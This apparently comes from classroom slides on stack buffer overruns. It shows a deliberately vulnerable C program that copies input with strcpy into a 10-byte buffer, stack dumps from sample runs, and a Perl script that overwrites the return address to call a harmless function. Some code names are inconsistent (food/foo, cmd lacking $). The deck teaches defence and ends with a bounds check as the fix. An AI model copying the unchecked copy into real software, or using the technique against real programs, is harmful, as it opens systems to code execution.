120 likes | 212 Views
/* This program shows an example of how a static buffer overrun can be used to execute arbitrary code. Its objective is to find an input string that executes the function bar. */ #include <stdio.h> #include <string.h> void food(const char* input) { char buf[10];
E N D
/* This program shows an example of how a static buffer overrun can be used to execute arbitrary code. Its objective is to find an input string that executes the function bar. */ #include <stdio.h> #include <string.h> void food(const char* input) { char buf[10]; // What? No extra arguments supplied to printf? // It’s a cheap trick to view the stack 8-) // We’ll see this trick again when we look at format strings printf(“My stack looks like: \n%p\n%p\n%p\n%p\n%p\n%p\n\n”); // Pass the user input straight to secure code public enemy #1 strcpy(buf, input); printf(“%s\n”, buf); printf(“Now the stack looks like: \n%p\n%p\n%p\n%p\n%p\n%p\n\n”); }
Can you find the flaw • Detailed Design leads to fragile software or to robust software. • How could you prevent the ‘hack’ that can execute a virus?
void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { // Blatant cheating to make life easier on myself printf(“Address of foo = %p\n”, foo); printf(“Address of bar = %p\n”, bar); foo(argv[1]); return 0; }
Now lets look at some examples of input: [d:\]StaticOverrun.exe Hello Address of foo = 00401000 Address of bar = 00401045 My stack looks like: 00000000 00000000 7FFDF000 0012FF80 0040108A < - - We want to overwrite the return address for foo 00410EDE to 00401045 which is the address of bar Hello Now the stack looks like: 6C6C6548 < - - You can see where “Hello” was copied in 0000006F 7FFDF000 0012FF80 0040108A 00410EDE
Now for the classic test for buffer overruns – we input a long string [d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA Address of foo = 00401000 Address of bar = 00401045 My stack looks like: 00000000 00000000 7FFDF000 0012FF80 0040108A 00410EDE AAAAAAAAAAAAAAAAAAAAAAAA < - - 24 A’s, A = 0x41 Now the stack looks like: 41414141 41414141 41414141 41414141 41414141 41414141 This would cause an application error message claiming the instruction at 0x41414141 tried to access memory at address 0x41414141!
Now we want to try and find the location by feeding it different characters [d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 Address of foo = 00401000 Address of bar = 00401045 My stack looks like: 00000000 00000000 7FFDF000 0012FF80 0040108A 00410EDE ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 Now the stack looks like: 44434241 48474645 4C4B4A49 504F4E4D 54535251 58575655
We can see that the 54 stands for T and is on the line where we want to modify the return address to foo, so lets try this: [d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRS Address of foo = 00401000 Address of bar = 00401045 My stack looks like: 00000000 00000000 7FFDF000 0012FF80 0040108A 00410EDE ABCDEFGHIJKLMNOPQRS Now the stack looks like: 44434241 48474645 4C4B4A49 504F4E4D 00535251 00410ECE
Now we can see that if we could send it 0x45, 0x10, 0x40 instead of QRS we could get bar to execute, to do this we’ll have to use a perl script $arg = “ABCDEFGHIJKLMNOP”.”\x45\x10\x40”; $cmd = “StaticOverrun “.$arg; system(cmd);
Running this script produces the desired result: [d:\devstudio\myprojects\staticoverrun]perl HackOverrun.pl Address of foo = 00401000 Address of bar = 00401045 My stack looks like: 00000000 00000000 7FFDF000 0012FF80 0040108A 00410EDE ABCDEFGHIJKLMNOPE?@ Now the stack looks like: 44434241 48474645 4C4B4A49 504F4E4D 00401045 00410ECA Augh! I’ve been hacked!
How could you prevent the hack? • Check to make sure the input string does not exceed the buffer. • Add this code: if input > buffer exit, else strcpy(buf, input)
Is there a performance impact to get robust code?Is the impact significant?